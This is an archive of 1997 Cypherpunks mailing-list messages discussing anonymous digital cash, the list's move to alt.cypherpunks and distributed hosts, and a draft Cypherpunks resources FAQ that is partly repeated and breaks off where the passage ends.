Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:44:19 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130044.QAA10501@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks, talk.politics.crypto,sci.crypt)



At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):
>The NSA's research report on e-cash says:
>
>  "The ideal situation (from the point of view of privacy advocates)
>is that neither payer nor payee should know the identity of the other. This
>makes remote transactions using electronic cash totally anonymous:  no one
>knows where Alice spends her money and who pays her.
>
>  "It turns out that this is too much to ask: there is no way in such
>a scenario for the consumer to obtain a signed receipt.  Thus we are forced
>to settle for payer anonymity."
>
>Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
>illuminate.  The discussion of digital cash seemed to assume no payee
>anonymity.  But the immediate previous section of dining cryptographers
>involved (it seemed) recipient untraceability.
>
>Is payee anonymity technically possible?  Under what conditions?
>
>If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
just this issue. (He also talked for an hour on his crack of the RSA
challenge using 250 workstations...this was also a good talk.)

It was explicitly stated in Chaum's 1985 paper that methods existed to
ensure full untraceability. Chaum has in recent years emphasized a more
"surveillance friendly" system in which some of the anonymity is lost. 

It was the intuition of some of us that "coin changers" could solve this
problem, e.g, by having intermediaries to "mix" the coins and thus break
the traceability chain. Lucky Green wrote some articles along these lines,
and maybe Hal Finney, too. This was a couple of years ago. The notion is
similar to what Ian showed, but our arguments were not formal and robust.

In August of '95, Doug Barnes released a long article on "Identity
Agnostic" systems. (His article is no longer at the www.communities.com Web
site, so I can't refer you to it. Maybe he'll post it again.)

About a year ago Ian Goldberg considered this issue and came up with a
solution which has seemingly reproduced what Chaum was thinking about (but,
apparently, did not make completely clear in his papers, for whatever
reasons). Ian deals with the issue of "making change" and comes up with a
system in which intermediaries, which we may call "e-cashiers" and
"moneychangers," can take on the role of the mint/bank. 

By making "negative deposits" (submitting signed withdrawal slips,
effectively), these intermediaries function as moneychangers. And so the
one-way anonymous features become two-way (effectively, each of the
transactions contributes a "one-way anonymous" component: one-way + one-way
= two-way).

It is much easier to understand digital cash with the usual diagram showing
the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the flow of
information, who knows what, etc. Drawing such diagrams in e-mail is beyond
my patience.

This system used online clearing, of course.

This "disintermediates" the process, and makes for an "everyone a mint"
situation, which has some of the same nice properties that an "everyone a
remailer" ecology of remailers and users has.

And the principle can be extended further back, to where the usual
distinctions between CUSTOMER and MERCHANT vanish (as it sort of does in
the real world, where the two parties are merely exchanging one item for
another item), and where the role of the MINT is minimal.

In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
some cases, not in other cases). This means that "anyone a mint" does not
violate any of the Chaum/Digicash patents, and "mint clients" are likely to
be written by third parties. (The _customer_ is presumably on the honor
system to abide by the Chaum patents...except the patents are only being
licensed to banks...go figure.)

(This is where, as I recall, Doug's "agnostic" system came in...it is
possible his thinking was similar to Ian's...I don't have Doug's paper
handy.)

Ian demonstrated this on an actual system, with real live connections to
mints in various countries, but with the blinding not used (as I recall).
Draw your own conclusions about what this means.

It was heady stuff, seeing the result many of us believed to be implicit in
Chaum's 1985 paper made real. Everyone a mint. This makes the spread of
fully anonymous digital cash harder to stop.

Issues of the mint denying one has an account are always real ones, but not
important--I think--in the real world. The untraceability of the digital
coins means that a mint never knows who is testing it for reliability and
"honesty," and the mint cannot set out to "screw" a particular customer by
declaring his account not to exist (as the mint almost certainly does not
have to know who own which accounts, as deposits can be made anonymously).

I hope this helps. I plan to use this result centrally in my talk at the
panel discussion on "Governmental and Social Implications of Digital Cash"
at the upcoming CFP.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Wed, 12 Feb 1997 16:41:39 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
Message-ID: <199702130041.QAA10379@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lee Tien <tien@well.com> writes:

> [...] 
> Is payee anonymity technically possible?  Under what conditions?
> [...]

It's not too hard: The payee forwards a blinded, non-signed coin
to the payer. The payer has the bank sign this, and then returns
it to the payee who strips out the blinding factor. I think
this is discussed in Schneier.

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:42:25 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702130042.QAA10417@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 5:49 PM -0600 2/12/97, Firebeard wrote:
>>>>>> Timothy C May writes:
>
>TCM> Since posting my comments I've just seen the proposal that tivoli
>TCM> may host a list.
>
>	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
>me!  I said that I was taking steps to set up a majordomo to host a
>cypherpunks list.  Topmost on those steps is creation of the sten.net
>or sten.org domain, and getting a personal,
>paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
>run off of my personal computer sitting in my apartment, not on Tivoli
>hardware sitting in the support lab.  As I said, John forced my hand
>in his announcement, causing me to 'put up' before everything was in
>place, including the domain registration.  Yes, my mail comes from
>sten.tivoli.com.  That doesn't mean that everything I do in life is
>connected to Tivoli, IBM, etc.

Sorry, I was just going by what I saw in your e-mail address. My point was
not really about Tivoli, or IBM, or any other particular company, though.

I was making the point that _any_ site distributing a list is likely to
face legal pressures not to carry certain items. Read between the lines (or
read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
the products of Sandy's company, and legal pressures applied, to see what I
mean.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 15:13:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702122313.PAA08386@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 14:33:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Network of majordomos (fwd)

> Yes, I installed INN and ran a few hundred test messages through it last
> night. My machine will be on the net full-time Thursday or Friday. Will yours
> be ready then, too? 

The mailing list was ready yesterday. Currently I have about a dozen
subscribers who are testing it. Igor has his list up and I expect that we
will begin the cross-subscription process on Saturday or Sunday. I sent
a 'who is here' message to cypherpunks-hosts@algebra.com and have not
received any replies.

> If you need some help setting it up, let me know. It can be a little tricky
> if you haven't done it before. 

Thanks, I'll factor that into my equation. I, however won't be acting as
a mail-to-news gateway at this point. What I would like to see would be
a news site which sent a copy of each incoming message to a mailing list
and would have an email address where each new submission to the mailing
list would get sent to. To make it really interesting would be to use
two seperate remailers, one for each traffic path. Had you thought of
taking your news that far?


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 12 Feb 1997 17:57:26 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130157.RAA13355@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: tcmay@got.net (Tim May)
> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
> just this issue. (He also talked for an hour on his crack of the RSA
> challenge using 250 workstations...this was also a good talk.)

I wish I could have heard that, it sounds good...

A simple idea we have discussed for full anonymity uses the idea of
exchanging coins at the bank.  You make an anonymous connection to
the bank, supply some ecash you have received along with some blinded
new ecash.  The bank verifies that the ecash is good and signs your
blinded ecash, sending it back to you.  You unblind it and have good,
fresh smelling ecash which you can keep, spend, or later deposit in
your account.

If the merchant performs this exchange operation on-line as soon as
he receives ecash, then his anonynmity is protected.  The customer is
protected too, by the blinding he used when he withdrew the ecash earlier.
So both sides remain anonymous.

It sounds like Ian may have worked out details of a system where third
parties do these exchanges.  Banks may be reluctant to allow them for
liability reasons, and the market, abhoring the vacuum, will supply
intermediaries who perform exchanges for a fee.

Resolving the various forms of cheating is the hard part.  When Lee asks
about a signed receipt, it is hard to understand what is the point if the
seller is fully anonymous!  A signed receipt from a freshly-minted key
is not of much use to anyone.

If the participants are using persistant pseudonyms then whatever
reputation capital they have can be put on the line when cheating happens,
although it still may be hard to tell who cheated whom.  Did the customer
pass bad cash and claim it was good, or did the merchant deposit good
cash and claim it was bad?

The same thing could happen every day at the supermarket, of course.
A customer insists they paid $20 but got change for a $10.  If dozens of
customers say the same thing has happened to them, we start to mistrust
the market, while if several businesses say this particular customer
has made the same claim to them, we blame the customer.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:56:59 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: List! No Way: Creati
Message-ID: <199702130156.RAA13314@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:23 PM 2/11/97 -0500, harka@nycmetro.com wrote:
>Were it possible to use Perry's PGPDomo, which would effectively
>keep out at least the Spammers?

That'll keep out the outside spammers; it won't keep out
anybody trying to attack the list (if people can do that with
remailers, they can figure out how to do it with PGP...)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 13:56:25 -0800 (PST)
To: dthorn@gte.net
Subject: Re: New group
Message-ID: <199702122156.NAA06398@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Paul Bradley wrote:

> > Well despite the obvious problems of propogation I thought it was time
> > someone actually did something to get us a new home, even if it`s only
> > temporary. So I have created alt.cypherpunks... See you all over on
> > usenet!...

 
> I pressed the URL alt.cypherpunks and my Netscape server said
> "no such thing" or words to that effect.

The control message may take a few more hours to propogate, either 
that or your newsadmin has rmgrouped it. The charter was clear and 
concise and explained the issues so I don`t see why it should have 
been rmgrouped. Can you mail me if it hasn`t been created by the time 
you get this email and I`ll re-issue the cmsg. However, I`m sure it 
was OK as Robert Hettinga (sp?) found it on his news server today...

Seeya

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 12 Feb 1997 17:58:50 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <199702130158.RAA13471@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:03 PM 2/11/97 -0600, Jim Choate <ravage@einstein.ssz.com> wrote:
>What is the current future of the Cypherpunks webpage? Will it continue to
>be kept up or is it going down as well?

If you mean the one on soda.berkeley.edu, the last I checked
nobody had updated it in a year or more, but it was still ticking.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 12 Feb 1997 16:26:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Been good to know ya ...
Message-ID: <199702130026.QAA09967@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Later, all.

And thanks to John for all the work he has put in to maintaining the list.

Last one to leave, turn out the lights.

-r.w.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tobin Fricke <tobin@edm.net>
Date: Wed, 12 Feb 1997 18:57:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Speaker needed
Message-ID: <199702130257.SAA18397@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If anyone is going to be in south Orange County, California during the
third week in March, and is interested  in speaking to a group of high
school students on Cryptography and the political and economic
considerations involved, please contact me via email at tobin@mail.edm.net.
 Thank you. (I'm not on cypherpunks, so don't email the list.)

Tobin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Wed, 12 Feb 1997 16:11:45 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702130011.QAA09591@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Timothy C May writes:

TCM> Since posting my comments I've just seen the proposal that tivoli
TCM> may host a list.

	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
me!  I said that I was taking steps to set up a majordomo to host a
cypherpunks list.  Topmost on those steps is creation of the sten.net
or sten.org domain, and getting a personal,
paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
run off of my personal computer sitting in my apartment, not on Tivoli
hardware sitting in the support lab.  As I said, John forced my hand
in his announcement, causing me to 'put up' before everything was in
place, including the domain registration.  Yes, my mail comes from
sten.tivoli.com.  That doesn't mean that everything I do in life is
connected to Tivoli, IBM, etc.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 16:27:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pre-alpha Cpunx-resource FAQ comments sought
Message-ID: <199702130027.QAA09991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Okay folks.  I have worked on this much of the day.  This is a more
formalized outline as well as a somewhat fleshed out version of
section 1 of the FAQ I am attempting to produce.

I submit this to the group for commentary and suggestions as well as
pointers to the relevant info.

This should be enough to give a flavor of what I am trying to do.
Anything in [] needs to be located and/or verified by myself.

I realize that this won't please everyone and some may not care.  So
be it.  

Those who do care, please help me make it less of a FAQ based
on my subjective experience and more of a useful general reference.

Here it is...


-----BEGIN PGP SIGNED MESSAGE-----


                       Cypherpunks Resources FAQ
                           version 0.000000002
                      Compiled, edited & maintained by
                  Scott Harney "Omegaman <omegam@cmq.com>"

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers of the
group to explore the background issues that Cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various newsreaders and email-filters are provided to help users filter
out some of the net's inevitable noise and glean the most useful
information they can from this forum. 

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
reader who utilizes the pointers within to find the answers on their
own.  After exploring these resources, the hope is that the reader
will become a more effective and insightful contributor to
alt.cypherpunks -- even if he/she is opposed to the goals of the
group.

This FAQ is not intended to be an exhaustive reference.  A quick
perusal of this FAQ should reveal the impossiblity of such a task.
Rather, it is a jumping-off point.  Almost all of the references below
contain voluminous further references.  If your mission-critical
Cypherpunks site is not explicitly included, it is 99% likely to be
referred to by at least one of them.

This FAQ is propagated monthly to alt.cypherpunks.  It can also be
obtained be sending email with the subject and/or body "get cpunks faq"
to omegam@cmq.com.  As with nearly all net.publications, this document
is in a constant state of contruction.  When information in the FAQ is
updated, I will also post a "what's new" message for those who are
interested in reading additions/corrections without wading throught the
entire FAQ again. 


- -------*********------- Author's Note/Disclaimer ---------*********--------- 

I maintain this FAQ solely on a voluntary basis.  I am doing this
because I think it is necessary.

It would be contrary to the anarchic nature of the Cypherpunks to
attempt to call this an official FAQ of the Cypherpunks group.  Anyone
who disagrees with the editing decisions and pointer selections I have
made in this FAQ is free to.

What this means is that you are encouraged to send comments,
suggestions, corrections, new questions, and answers to me.  I may or
may not include them in future revisions of the FAQ.  I do ask that
somewhere in the subject of your mail redarding this FAQ you include
the text "(CFAQ suggest)", so procmail can file such comments
appropriately and I can address them in a more efficient manner.  If I
use your suggestion or answer to a question, I will attribute the
reference to you unless you request that I do not.

You are free to create your own Cypherpunks-resources FAQ if you don't
like mine.

- - Scott
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________

- -------*********--------*********---------********--------*********------

Premliminary Outline

Section 1 - Introduction and General Information.  

Q1.1 Does this newsgroup/mailing-list have a charter?
Q1.2 How did the group get started?  
Q1.3 What do Cypherpunks want? 
Q1.4 What happened to the toad.com mailing list?  Are there archives?
Q1.5 Are there other groups besides Cypherpunks who share these goals.
Q1.6 What have the Cypherpunks done to advance their goals other that
     merely talk about them?
Q1.7 I'm interested, what can I do?  
Q1.8 What are all these terms and acronyms anyway? (A Quick n' Dirty 
     Glossary)

Section 2 - Crypto in Action
Q2.1 Pointers galore to PGP resources.
Q2.2 Point to Schneir's site and include biblio info on Applied Crypto
Q2.2 Point to cryptlib toolkits
Q2.3 RSA, of course.
Q2.4 pointers to disk encryption utilities for various platforms
Q2.5 pointers to Raph's remailer site and other remailer info sites.
     remailer software.  software to make remailer usage simpler
     (premail, PIdaho)
Q2.6 pointers to the various digital cash purveyors and to
     explanations of how Chaumian digital cash works.
Q2.7 pointers to Apache-SSL site and info, Stronghold, 
Q2.8 SSH
Q2.9 Pointers to sites describing how various types of crypto actually
     work.  sci.crypt faq
Q3.0 But how do I know if it's good crypto?  Point to snake Oil FAQ?
     Schneir's essay.  Use your brain.

Section 3 - Crypto and the Law
Q3.1 Froomkin's site obviously.. John Young's also obvious.  EFF has a
     good archive too.  Karn case, others.
Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR
Q3.3 Pointers past Clipper failure info.

Section 4 - Who's who & (recent) History of Crypto.
Q4.1 A couple of good general history sites exist. also Codebreakers
     bibliographical reference.
Q4.2 Enigma is a common question, point to relevant sites.
Q4.3 Whit Diffie--some interviews etc are available
Q4.4 Bruce Schneir same
Q4.5 Phil Z and PGP history and interviews.
Q4.6 Jim Bizdos
Q4.8 Dorothy Denning (got to include the enemy too)
Q4.7 Pointers to news on breaks of ciphers
Q4.8 NSA site.
[Others?  I'm getting sleepy, names escaping me at the moment]

Section 5 - Help! I want to know more but I'm drowning in noise
Q5.1 Point to filtered lists in existence
Q5.2 news2mail gateways as source of list.  mail filtering tools come
     into good use.  point to a bunch of them.
Q5.3 Point to kill-file info for various newsreaders and platforms.
     [Possibly include generic examples from own experience and list 
     user's experience who wish to contribute.  Specific names will 
     be ommitted of course.  Also score information for those 
     interested]
Q5.4 point to information on other utilities and verification-type
     schemes [NoCeM's]

Section 6 - Personal motivations, thank-you's, etc.  

*********----------**********----------**********---------*********----
Section 1.  Introduction and General Information

Q1.1 Do the Cypherpunks have an official charter?

No.  Cypherpunks are anarchic in nature so the notion of an official
charter is directly contrary to such ideals.  

The two statements below are from Original Cypherpunks (OC's) Eric
Hughes and Tim May.  The first was part of the original welcome
message to the mailing list hosted at toad.com.  The second was
suggested by Tim to the original list and commented upon by the
readership.  Both statements are accepted by much of the readership as
good indicators of what Cypherpunks are about.

Eric Hughes' statement:
 "Cypherpunks assume privacy is a good thing and wish there were more
  of it.  Cypherpunks acknowledge that those who want privacy must
  create it for themselves and not expect governments, corporations, or
  other large, faceless organizations to grant them privacy out of
  beneficence.  Cypherpunks know that people have been creating their
  own privacy for centuries with whispers, envelopes, closed doors, and
  couriers.  Cypherpunks do not seek to prevent other people from
  speaking about their experiences or their opinions.

  The most important means to the defense of privacy is encryption. To
  encrypt is to indicate the desire for privacy.  But to encrypt with
  weak cryptography is to indicate not too much desire for privacy.
  Cypherpunks hope that all people desiring privacy will learn how best
  to defend it.

  Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
  to learn about it, to teach it, to implement it, and to make more of
  it.  Cypherpunks know that cryptographic protocols make social
  structures.  Cypherpunks know how to attack a system and how to
  defend it.  Cypherpunks know just how hard it is to make good
  cryptosystems.

  Cypherpunks love to practice.  They love to play with public key
  cryptography.  They love to play with anonymous and pseudonymous mail
  forwarding and delivery.  They love to play with DC-nets.  They love
  to play with secure communications of all kinds.

  Cypherpunks write code.  They know that someone has to write code to
  defend privacy, and since it's their privacy, they're going to write
  it.  Cypherpunks publish their code so that their fellow Cypherpunks
  may practice and play with it.  Cypherpunks realize that security is
  not built in a day and are patient with incremental progress.

  Cypherpunks don't care if you don't like the software they write. 
  Cypherpunks know that software can't be destroyed.  Cypherpunks know
  that a widely dispersed system can't be shut down.

  Cypherpunks will make the networks safe for privacy."

Tim May's statement:
 "Alt.cypherpunks is for the unmoderated discussion of cryptography
  and the political, social, and economic implications of
  unrestricted, strong cryptography. The Cypherpunks grpup has existed
  since 1992 and has been central in the debate about strong crypto,
  government restrictions, crypto anarchy, and in showing weaknesses
  of various ciphers and security products. The mailing list has had
  as many as 1500 subscribers, plus gateways to newsgroups and Web
  sites. It is expected that 'alt.cypherpunks' will be a free-wheeling
  forum for many viewpoints. As it is unmoderated, readers are
  strongly advised to learn how to use filters and other tools for
  making virtual anarchies manageable for their own tastes."


Q1.2 How did the group get started?

Needless to say, the history of such things is fuzzy at best.  

Eric Hughes and Tim May had some discussions which led to Eric Hughes,
decision to host a meeting.  Concidently, the first meeting occurred the
same week PGP 2.0 was released.  John Gilmore offered his site to host a
mailing list, and thus Cypherpunks were born.  see Q1.2, Q1.4, and Q1.6
for references containing more detail.

also see: [Wired article URL]
           
Q1.3 What do Cypherpunks want?

Such a simple question with no simple, short answer.  Please explore
the following sites.

Tim May's provacative (and large!) Cyphernomicon
 http://www.oberlin.edu/~brchkind/cyphernomicon/

The Berkeley Cypherpunks site is another good starting point.
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html

Also see: 
http://www.offshore.com.ai/security/ - Vince Cate's
Cryptorebel/Cypherpunk Page 

http://www.eskimo.com/~joelm/ - Joel McNamara's Electronic Privacy
Page

Q1.4 What happened to the toad.com mailing list?  Are there archives?

As with all Cypherpunks issues, there is much controversy surrounding
the dissolution of the original list hosted by John Gilmore's machine
@toad.com.  Some say that noise devoured the list to such a point as to
make it useless, driving away the "good posters".  Others argue that
the failed attempt at moderating the list to eliminate some of that
noise was the final nail in the coffin.

Whatever the reason, Gilmore told the Cypherpunks that it was time to
find a new home.  Running a mailing list with 1500+ subscription base
and the enormous volume that the list had is not a simple task.  The
physical running of the list on a single machine requires enormous
computational resources as well as constant human intervention.

Perhaps the resultant newsgroup and distributed mailing list approach
is more in line with Cypherpunk ideals.  "Cypherpunks know that a
widely dispersed system cannot be shut down."

Archives of the original list are available to some degree at:
http://infinity.nus.sg/cypherpunks/
http://weber.u.washington.edu/~phantom/cpunk/index.html

Users interested in running a "node" of the distributed mailing list
version of this newsgroup are encouraged to subscribe to Igor Chudov's
discussion list on the subject.  Send a message to majordomo@algebra.com
with the body "subscribe cypherpunks-hosts"

Q1.5 Are there other groups besides Cypherpunks who share these goals?

The following organizations and sites share Cypherpunk goals to a
greater or lesser extent.

The EFF(Electronic Frontier Foundation) http://eff.org
http://eff.org/pub/ITAR_export/HTML/hot.html &
http://www.eff.org/pub/Privacy/hot.html - more specific references &
extensive archival information

EPIC (Electronic Privacy Information Center)
http://epic.org

Voter's Telecommunications Watch
http://www.vtw.org

Center for Democracy and Technology 
http://www.cdt.org

The Cryptography List at C2Net is also a good resource.
send a message to Majordomo@c2.net with the body "subscribe
Cryptography"

The Coderpunks list at toad.com is a technical discussion forum.
Send a message to majordomo@toad.com with the body "subscribe
coderpunks"

Q1.6 What have the Cypherpunks done to advance their goals other that
merely talk about them?

Many Cypherpunks are professionals in the computer security field.
Others work for companies and corporations which create and distribute
products utilizing strong cryptography.

Cypherpunks are also directly responsible for the creation and running
of Type I and Type II(mixmaster) Cypherpunks anonymous remailers
(surprising, eh?).  see Q2.5

Cypherpunks have also produced software to make good crypto easier for
the masses. [Get permission from PGP-front end producers to reference here]

The Linux-IPSEC project is another good example. [see & subscribe ref?].

Mykotronx exposure and dumpster diving excursion. [reference?]

see Q1.4(list-archive sites)

Q1.7 I'm interested, what can I do?  

First of all READ before you post.  Observe simple etiquette.  Don't
clutter the group with "me too" posts and questions which you can
easily find the answer to yourself.  Contribute signal, not noise.

As of this writing, RSA, inc. is hosting a contest to crack the
government standard DES 56 bit algorhythm.  See
[http://www.rsa.com/contest] for full details.

Also see Peter Trei's site for software and info.

Host a portion of the distributed mailing list.  See Q1.5.

Run an anonymous or pseudonymous remailer. see Q1.6 for site references
and software.

Use strong crypto.  Encourage friends to use it as well.  Increase the
amount of encrypted traffic on the net.

Can you code?  There are plenty of projects and opportunites yet to be
explored.  Black Unicorn writes:
 "Where is highly sophisticated stego?
  Where are larger keys for symetric ciphers?
  Where is a fully functional and secure "stealth PGP"?
  Where are anonymous and encrypted WWW clients and hosts which permit
  chaining?

  If the crypto war is going to be lost it will be lost in the chill of
  development when crypto regulation is put into place.

  If you don't make the guns in the first place, the government has a much
  easier time taking them away."


Q1.8 What are all these terms and acronyms anyway?

Here's a quick-n-dirty glossary.

GAK = Government access to keys.  Government euphemisms for GAK include
"key escrow" and "key recovery" (actually important for corporations,
but misused in recent USG proposals)

USG = United States Government

ITAR = International Trade and Arms Regulations.  Regulations export of
arms from the US.  Strong Crypto is regulated as a weapon by this
document. see Q3.2

EAR = Encryption Algorhythm Regulations (a guess, look it up)  Recent
proposals by Clinton Administration.  see Q3.2

TLA = Three Letter Acronym/Agency.  Refers to USG agencies (typically
involved in law enforcement) FBI, CIA, NSA, etc.

NSA = National Security Agency.  This highly secretive agency is
responsible for the protection of USG secrecy via encryption as well as
the spying on other governments by breaking encryption algorhythms.
see Q4.8

DES = US Data Encryption Standard algorhythm. see Q2.9

RSA = a company and a public key algorhythm.  see Q2.9  and Q2.3

net.loon/kook = a purely subjective characterization.

Signal-to-Noise ratio = Signal refers to on-topic posts.  Noise, the
opposite.  A high S/N ratio means the list is putting out a lot of
signal("good posts").  Subjective, but fairly obvious.  See Section 5
for pointers no how to reduce (what you think is) noise

Memes = [get a good definition here]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        [Rest of FAQ goes here :)   This is a pre-alpha FAQ, intended
         only to solicit commentary and suggestions.]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: omegam@cmq.com
Date: Wed, 12 Feb 1997 16:27:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Pre-alpha Cpunx-resource FAQ comments sought
Message-ID: <199702130027.QAA10017@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Okay folks.  I have worked on this much of the day.  This is a more
formalized outline as well as a somewhat fleshed out version of
section 1 of the FAQ I am attempting to produce.

I submit this to the group for commentary and suggestions as well as
pointers to the relevant info.

This should be enough to give a flavor of what I am trying to do.
Anything in [] needs to be located and/or verified by myself.

I realize that this won't please everyone and some may not care.  So
be it.  

Those who do care, please help me make it less of a FAQ based
on my subjective experience and more of a useful general reference.

Here it is...


-----BEGIN PGP SIGNED MESSAGE-----


                       Cypherpunks Resources FAQ
                           version 0.000000002
                      Compiled, edited & maintained by
                  Scott Harney "Omegaman <omegam@cmq.com>"

This document lists resources for readers interested in Cypherpunk
issues and goals.   

The primary intention of this document is to get new readers of the
group to explore the background issues that Cypherpunks attempt to
address.  It also includes pointers to many common cryptographic
implementations and tools.  Furthermore, pointers and instructions for
various newsreaders and email-filters are provided to help users filter
out some of the net's inevitable noise and glean the most useful
information they can from this forum. 

This FAQ does not attempt to explictly define who the Cypherpunks are
or answer questions about the philosophy.  That is an exercise for the
